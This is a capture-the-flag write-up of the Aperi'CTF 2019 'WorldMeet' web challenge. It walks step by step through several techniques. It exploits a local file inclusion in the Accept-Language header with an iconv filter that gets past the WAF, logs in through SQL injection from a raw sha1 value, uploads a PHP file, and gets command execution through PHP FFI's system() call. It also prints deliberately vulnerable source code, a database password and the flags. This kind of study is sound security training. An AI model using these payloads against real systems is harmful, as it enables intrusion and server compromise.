WorldMeet

Aperi'CTF 2019 - Web (650 pts).

Aperi’CTF 2019 - WorldMeet

Challenge details

Event Challenge Category Points Solves
Aperi’CTF 2019 WorldMeet Web 250 7
Aperi’CTF 2019 WorldMeet Web 175 7
Aperi’CTF 2019 WorldMeet Web 50 7
Aperi’CTF 2019 WorldMeet Web 175 6

Le fondateur du site web “WorldMeet” souhaite faire auditer son site web, Aperi’Kube vous confie donc cette mission de la plus haute importance !

URI : https://worldmeet.aperictf.fr

https://worldmeet.aperictf.fr

TL;DR

LFI in Accept-Language Header, need to use filter convert.iconv to bypass WAF. Discover admin path thanks to LFI, read admin page and discover sha1($x,TRUE) SQLi. Exploit SQLi using local bruteforce. Access to admin debug page, disclose opcache path and FFI extension.

Methodology

LFI

Trigger the LFI

We first reach the website, and got an homepage in french (FR browser) with a french flag:

![home](/files/aperictf_2019/worldmeet/home.png)

Since we do not provide language information except in our Accept-Language header, let’s edit the header and see if the image change:

French header:

curl -X POST -H "Accept-Language: fr" https://worldmeet.aperictf.fr | grep flag
<img id="flag" src="img/fr.png"/>

English header:

curl -X POST -H "Accept-Language: en" https://worldmeet.aperictf.fr | grep flag
<img id="flag" src="img/en.png"/>

Wrong header:

curl -X POST -H "Accept-Language: xx" https://worldmeet.aperictf.fr | grep flag
<img id="flag" src=""/>

We can investigate with wrong headers:

curl -X POST -H "Accept-Language: xx" https://worldmeet.aperictf.fr | head -n 4
<br />
<b>Warning</b>:  include(xx.php): failed to open stream: No such file or directory in <b>/var/www/html/index.php</b> on line <b>12</b><br />
<br />
<b>Warning</b>:  include(): Failed opening 'xx.php' for inclusion (include_path='.:/usr/local/lib/php') in <b>/var/www/html/index.php</b> on line <b>12</b><br />

We can see that the script is including our header and does something like:

<?php
include(explode(",",$_SERVER['HTTP_ACCEPT_LANGUAGE'])[0].".php");
?>

We can try to load index.php as page by setting our Accept-Language to index (note: the .php is already added by the script).

curl -X POST -H "Accept-Language: index" https://worldmeet.aperictf.fr
<b>Fatal error</b>:  Allowed memory size of 134217728 bytes exhausted (tried to allocate 4096 bytes) in <b>/var/www/html/index.php</b> on line <b>8</b><br />

Okey, we’ve got an infinite self-inclusion loop which causes php to crash, the LFI has been triggered !

Bypass the WAF

Since we triggered the LFI, we can try to exploit it with the famous php base64 wrapper php://filter/convert.base64-encode/resource= and disclose the source code:

curl -X POST -H "Accept-Language: php://filter/convert.base64-encode/resource=index" https://worldmeet.aperictf.fr
WAF Protection Enabled !<br>
        [DEBUG] alert due to <b>php://filter/convert.base64</b>

There is a Web Application Firewall which is triggered due to php://filter/convert.base64 :/. Other filter/wrapper like zlib, read (rot13, …), expect, data, input and phar are disabled or blocked as well.

Since we know that convert.base64 is blocked, we can dig into convert filter: https://www.php.net/manual/en/filters.convert.php

We can see on the Example #3 that there is a convert.iconv.* filter with an example: convert.iconv.utf-16le.utf-8. Let’s adapt our payload with this filter:

curl -X POST -H "Accept-Language: php://filter/convert.iconv.utf-16le.utf-8/resource=index" https://worldmeet.aperictf.fr
<b>Warning</b>:  include(): iconv stream filter (&quot;utf-16le&quot;=&gt;&quot;utf-8&quot;): invalid multibyte sequence in <b>/var/www/html/index.php</b> on line <b>12</b><br />
㼼桰猊獥楳湯獟慴瑲⤨਻敲畱物彥湯散∨慷彦堶慬楆牋㙉煄瑮祸瀮灨⤢਻␊慬杮㴠䀠硥汰摯⡥ⰢⰢ⑀卟剅䕖孒䠧呔彐䍁䕃呐䱟乁啇䝁❅⥝せ㭝ਊ晩⠠⑀卟卅䥓乏❛摡業❮⁝㴽‽牔敵笩 †栠慥敤⡲䰢捯瑡潩㩮⼠㑦地積呦晖㕙㍲橔∯㬩 †攠楸⡴㬩紊汥敳੻††湩汣摵⡥氤湡⹧⸢桰≰㬩⼠ 灁牥❩畋敢›潈数礠畯甠敳桰㩰⼯楦瑬牥振湯敶瑲椮潣癮甮晴㠭甮晴ㄭ⼶敲潳牵散਽੽㸿㰊䐡䍏奔䕐栠浴㹬㰊瑨汭氠湡㵧㰢㴿䀠潮獸⡳氤湡⥧㼠∾ਾ††格慥牰晥硩∽杯›瑨灴⼺漯灧洮⽥獮∣ਾ††††洼瑥档牡敳㵴唢䙔㠭•㸯 †††㰠敭慴栠瑴⵰煥極㵶堢唭ⵁ潃灭瑡扩敬•潣瑮湥㵴䤢㵅摥敧㸢ਠ††††琼瑩敬圾牯摬敭瑥貟㲍琯瑩敬ਾ††††洼瑥慮敭∽楶睥潰瑲•潣瑮湥㵴眢摩桴搽癥捩ⵥ楷瑤ⱨ椠
...

Okey, we’ve got a valid answer. After few tries with different encodings, I managed to find this one which is pretty good for our case:

curl -X POST -H "Accept-Language: php://filter/convert.iconv.utf-8.utf-16/resource=index" https://worldmeet.aperictf.fr
<?php

session_start();
require_once("waf_6XlaFiKrI6Dqntxy.php");

$lang = @explode(",",@$_SERVER['HTTP_ACCEPT_LANGUAGE'])[0];

if (@$_SESSION['admin'] === True){
    header("Location: /f40WMzfTVfY5r3Tj/");
    exit();
}else{
    include($lang.".php"); // Aperi'Kube: Hope you used php://filter/convert.iconv.utf-8.utf-16/resource=
}
?>
<!DOCTYPE html>
<html lang="<?= @noxss($lang) ?>">
    <head prefix="og: http://ogp.me/ns#">
        <meta charset="UTF-8" />
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <title>WorldMeet 🌍</title>
        <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
        <script src="https://cdnjs.cloudflare.com/ajax/libs/parallax/3.1.0/parallax.min.js"></script>
        <link href="https://fonts.googleapis.com/css?family=Beth+Ellen|Open+Sans&display=swap" rel="stylesheet">
        <link href="style.css" rel="stylesheet">
    </head>
    <body><div id="scene"><div id="bg" data-depth="0.2"></div></div>
    <header><?= @$headline ?></header>
    <img id="flag" src="<?= @$flag; ?>"/>
    <div id="online"><h1><?= @$online ?></h1>
        <div class="people"><span class="color_F">Lily - Boston - USA</span></div>
        <div class="people"><span class="color_M">Piotr - Warsaw - Poland</span></div>
        <div class="people"><span class="color_F">Olga - Lviv - Ukraine</span></div>
        <div class="people"><span class="color_M">Robert - Bucharest - Romania</span></div>
        <div class="people"><span class="color_M">Ahmet - Istanbul - Turkey</span></div>
        <div class="people"><span class="color_M">Mohamed - Cairo - Egypt</span></div>
        <div class="people"><span class="color_F">Bella - Tucson - USA</span></div>
        <div class="people"><span class="color_M">Aldo - Turin - Italy</span></div>
        ...
    </div><!--
    --><div id="logininsc">
        <div id="login">
            <h1>Login</h1>
            <?= @$login ?>: <input type="text" placeholder="login"/>
            <?= @$password ?>: <input type="password" placeholder="password"/>
            <input type="submit" value="<?= @$connect; ?>"/>
        </div>
    </div>
    <script>
        var scene = document.getElementById('scene');
        var parallaxInstance = new Parallax(scene);</script>
    </body>
</html>
...

Here it is, we’ve got the source code of index.php ! We can also retrieve the WAF source code:

curl -X POST -H "Accept-Language: php://filter/convert.iconv.utf-8.utf-16/resource=waf_6XlaFiKrI6Dqntxy" https://worldmeet.aperictf.fr
<?php

// FLAG 1: APRK{WHAT_AN_LF!}

$blacklist = ["compress.zlib","php://filter/read","php://filter/zlib","php://filter/convert.base64",];

$b1 = strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']);
$b2 = strtolower(urldecode($_SERVER['HTTP_ACCEPT_LANGUAGE']));

foreach($blacklist as $b) {
    if ((stripos($b1,$b) !== false) || (stripos($b2,$b) !== false)){
        exit("WAF Protection Enabled !<br>
        [DEBUG] alert due to <b>".htmlspecialchars($b, ENT_QUOTES, 'UTF-8')."</b>");
    }
}
?>

Flag 1 : APRK{WHAT_AN_LF!}

Admin

Looking at the index.php source code, we can see a redirect for authenticated administrators:

<?php
if (@$_SESSION['admin'] === True){
    header("Location: /f40WMzfTVfY5r3Tj/");
    exit();
}
?>

Let’s access https://worldmeet.aperictf.fr/f40WMzfTVfY5r3Tj/

![admin](/files/aperictf_2019/worldmeet/admin.png)

We can confirm that we found the admin page. We can disclose the source code with our LFI:

curl -X POST -H "Accept-Language: php://filter/convert.iconv.utf-8.utf-16/resource=f40WMzfTVfY5r3Tj/index" https://worldmeet.aperictf.fr
<?php
session_start();

require_once("../waf_6XlaFiKrI6Dqntxy.php");
$lang = @explode(",",@$_SERVER['HTTP_ACCEPT_LANGUAGE'])[0];
include("../".$lang.".php");

$link = mysqli_connect("WorldMeet-db", "user", "XoMOFVtYFKRJeB75BwxQ4HGMCpNFolWIDMnhrnaa", "accounts");
$req = "SELECT * FROM accounts WHERE user=?";

/*
CREATE TABLE `accounts`  (
  `user`
  `passwd`
  `description`
);
*/


function secure_hash($p){
    return sha1($p,"my_s3cure_salt");  // sha1(new.salt) in hexa
}

if (isset($_GET['logout'])){
        $_SESSION['admin'] = False;
        header("Location: ../"); // Admin page
        exit();
}

if (isset($_POST['user']) && isset($_POST['pass'])){
    $user = $_POST['user'];
    $pass = $_POST['pass'];
    $req .= " AND passwd LIKE '".secure_hash($pass)."';";
    $stmt = $link->prepare($req);
    $stmt->bind_param("s", $user);
    $stmt->execute();
    $result = $stmt->get_result()->fetch_assoc();
    $stmt->close();

    if($result){
        $_SESSION['admin'] = True;
    }else{
        $_SESSION['admin'] = False;
        header("Location: ../"); // Admin page
        exit();
    }
}

?>
<!DOCTYPE html>
<html lang="<?= @noxss($lang) ?>">
    <head prefix="og: http://ogp.me/ns#">
        <meta charset="UTF-8" />
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <title>WorldMeet 🌍</title>
        <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
        <link href="https://fonts.googleapis.com/css?family=Beth+Ellen|Open+Sans&display=swap" rel="stylesheet">
        <link href="../style.css" rel="stylesheet">
    </head>
    <body><div id="bg"></div>
    <header>Admin</header>
    <img id="flag" src="../<?= @$flag; ?>"/>
    <?php if (@$_SESSION['admin'] === True){ ?>
        <div id="online">
        Welcome Admin !<br>
        Page is still under development.<!--
        - <a href="debug_Mm9vFfnE4H7b3WP2.php">Go to debug page</a>
        -->
        </div>
    <?php }else{
    ?>
    <div id="login"><form action="" method="POST">
        Username:<br/>
        <input type="text" name="user" id="inp_user"/><br/>
        Password:<br/>
        <input type="password" name="pass" id="inp_pass"/><br/>
        <input type="submit" value="<?= @$connect; ?>"/>
    </form></div>
    <?php } ?>
    </body>
</html>

From this we’ve got a new page called debug_Mm9vFfnE4H7b3WP2.php :

<?php
session_start();
if (@$_SESSION['admin'] === True){
    echo(get_flag_2());
    phpinfo();
}
?>
SQLi

According to the source code, the second flag is displayed when we’ve got $_SESSION['admin'] === True, in other words, when we are logged in as an admin.

If we reverse the admin page, we know that we need to find a valid SQL statement to log in as an admin. Moreover, the query is half prepared half concatenated. Since a prepared SQL query can hardly be exploited, we’ll focus on the concatenated part:

<?php
// ...
"passwd LIKE ''".secure_hash($pass)."';";
?>

Secure_hash is a defined function:

<?php
function secure_hash($p){
    return sha1($p,"my_s3cure_salt");  // sha1(new.salt) in hexa
}
?>

Looking at sha1 php documentation we can see that the second parameter isn’t supposed to be a salt but a boolean. This boolean, when set to True, is used to get sha1 in raw format which is not in hexadecimals contrary to what was in comment. In fact secure_hash is a raw sha1() function.

Since we’ve got raw data from secure_hash we could try to inject some characters such as quote or hashtag to get a valid query. After few test we can get a valid query when our raw start with %'#: % is a wildcard for LIKE query in SQL and ‘# closes the query. We would get a query like:

<?php
$req = "SELECT * FROM accounts WHERE user=?  AND passwd LIKE '%'#randomcommentdata...';";
?>

The previous query uses a wildcard as a password, we just need to guess the admin username. To get a sha1() raw starting with %'# we will do a little bruteforce on our own machine:

<?php
function startsWith($string, $startString){
    $len = strlen($startString);
    return (substr($string, 0, $len) === $startString);
}
function secure_hash($p){
    return sha1($p,"my_s3cure_salt");  // sha1(new.salt) in hexa
}

for($i=0;$i<10000000;$i++){
	$x = secure_hash($i);
	if(startsWith($x,"%'#")){
		print($i);
		exit();
	}
}
?>
php -f bf.php

We’ve got a hash starting with %'# for sha1("5184705",True) ! We can now try to log in with admin as user and 5184705 as password.

![logged](/files/aperictf_2019/worldmeet/logged.png)

Now we are connected as admin and we can reach the debug page (debug_Mm9vFfnE4H7b3WP2.php):

![phpinfo](/files/aperictf_2019/worldmeet/phpinfo.png)

We’ve got flag number 2: FLAG 2: APRK{Sh4-SQLi-Little-BF}

Recon and file upload

From this we can get a lot of information including:

  • Disabled functions
  • php version (7.4-dev)
  • Module named FFI
  • OPCache module with php path: G4yUcRuZFLOxnyNu.php

OPCache.preload allows the apache server to load a php file before the execution of a script, such as an implicit include() function. Lets use our LFI to display the OPCache file:

<?php

// FLAG 3: APRK{H1DD3N_IN_0P_PR3L04D}

function get_flag_2(){
    return "FLAG 2: APRK{Sh4-SQLi-Little-BF}";
}

function noxss($s){
    return htmlspecialchars($s, ENT_QUOTES, 'UTF-8');
}

function get_upload_folder(){
    return "./secure__upload__folder/";
}
?>

We’ve got flag number 3: APRK{H1DD3N_IN_0P_PR3L04D}

We also see our noxss() function which was not found in other php files and the function get_upload_folder(). According to the last function, there must be an upload file.

With some fuzzing (or guess), we visit /f40WMzfTVfY5r3Tj/upload.php and get redirected. There must be a php file behind. We use our LFI and display the code:

<?php

header("Location: /"); // Back to home, this page is for debug only

/* TODO: DEBUG form upload */
if(isset($_FILES['image'])){
    $errors= array();
    if($file_size > 2097152){
        $errors[]='File size must be excately 2 MB';
        exit();
    }
    move_uploaded_file($_FILES['image']['tmp_name'],get_upload_folder().$_FILES['image']['name']);
}

exit();
?>

Okey, this is a simple file upload in a php script which stores our file to the folder ./secure__upload__folder/ (see get_upload_folder()). There is a header("Location: /") in the beginning of the script but there is no exit, we can upload a file without getting redirected.

Let’s upload a php file:

mytest.php:

<?php
phpinfo();
?>
curl -F 'image=@/home/zeecka/mytest.php' https://worldmeet.aperictf.fr/f40WMzfTVfY5r3Tj/upload.php

Now we can reach our file at the address https://worldmeet.aperictf.fr/f40WMzfTVfY5r3Tj/secure__upload__folder/mytest.php. we’ve got a php code execution thanks to the file upload.

Command execution

As we saw before, we’ve got a PHP 7.4 - Dev, a lot of disable functions and the FFI extension.

If we search about PHP FFI on internet (FFI github), we can see that we can use C functions. We can try to use the C system function inside an uploaded php file. Let’s try a simple ls -la > output.txt. Note that we store the output inside a file since system return an integer in C:

test1.php:

<?php
$ffi = FFI::cdef(
    "int system(char *command);",
    "libc.so.6");
$ffi->system("ls > output.txt");
?>
curl -F 'image=@/home/zeecka/test1.php' https://worldmeet.aperictf.fr/f40WMzfTVfY5r3Tj/upload.php

https://worldmeet.aperictf.fr/f40WMzfTVfY5r3Tj/secure__upload__folder/test1.php https://worldmeet.aperictf.fr/f40WMzfTVfY5r3Tj/secure__upload__folder/output.txt

We’ve got the following output:

debug_Mm9vFfnE4H7b3WP2.php  index.php  secure__upload__folder  upload.php

No flag here, maybe in the parent folder ?

test2.php:

<?php
$ffi = FFI::cdef(
    "int system(char *command);",
    "libc.so.6");
$ffi->system("ls .. > output2.txt");
?>
curl -F 'image=@/home/zeecka/test2.php' https://worldmeet.aperictf.fr/f40WMzfTVfY5r3Tj/upload.php

https://worldmeet.aperictf.fr/f40WMzfTVfY5r3Tj/secure__upload__folder/test2.php https://worldmeet.aperictf.fr/f40WMzfTVfY5r3Tj/secure__upload__folder/output2.txt

en.php     f40WMzfTVfY5r3Tj      fr-FR.php  G4yUcRuZFLOxnyNu.php  index.php  waf_6XlaFiKrI6Dqntxy.php
en-US.php  FLAG4_UY7Kkr8goa.txt  fr.php     img                   style.css

We’ve got filename FLAG4_UY7Kkr8goa.txt !

https://worldmeet.aperictf.fr/FLAG4_UY7Kkr8goa.txt

We’ve got the last flag: FLAG 4: APRK{PHP_FF1_EZ_RCE}

Unexpected way

Some challengers manage to solve the last step using FileIterator and DirectoryIterator:

<?php
$dir = new DirectoryIterator('/var/www/html/');
foreach ($dir as $fileinfo) {
    if (!$fileinfo->isDot()) {
        print_r($fileinfo->getFilename());
        echo('<br/>');
    }
}
?>

Flags

FLAG 1: APRK{WHAT_AN_LF!}
FLAG 2: APRK{Sh4-SQLi-Little-BF}
FLAG 3: APRK{H1DD3N_IN_0P_PR3L04D}
FLAG 4: APRK{PHP_FF1_EZ_RCE}

Zeecka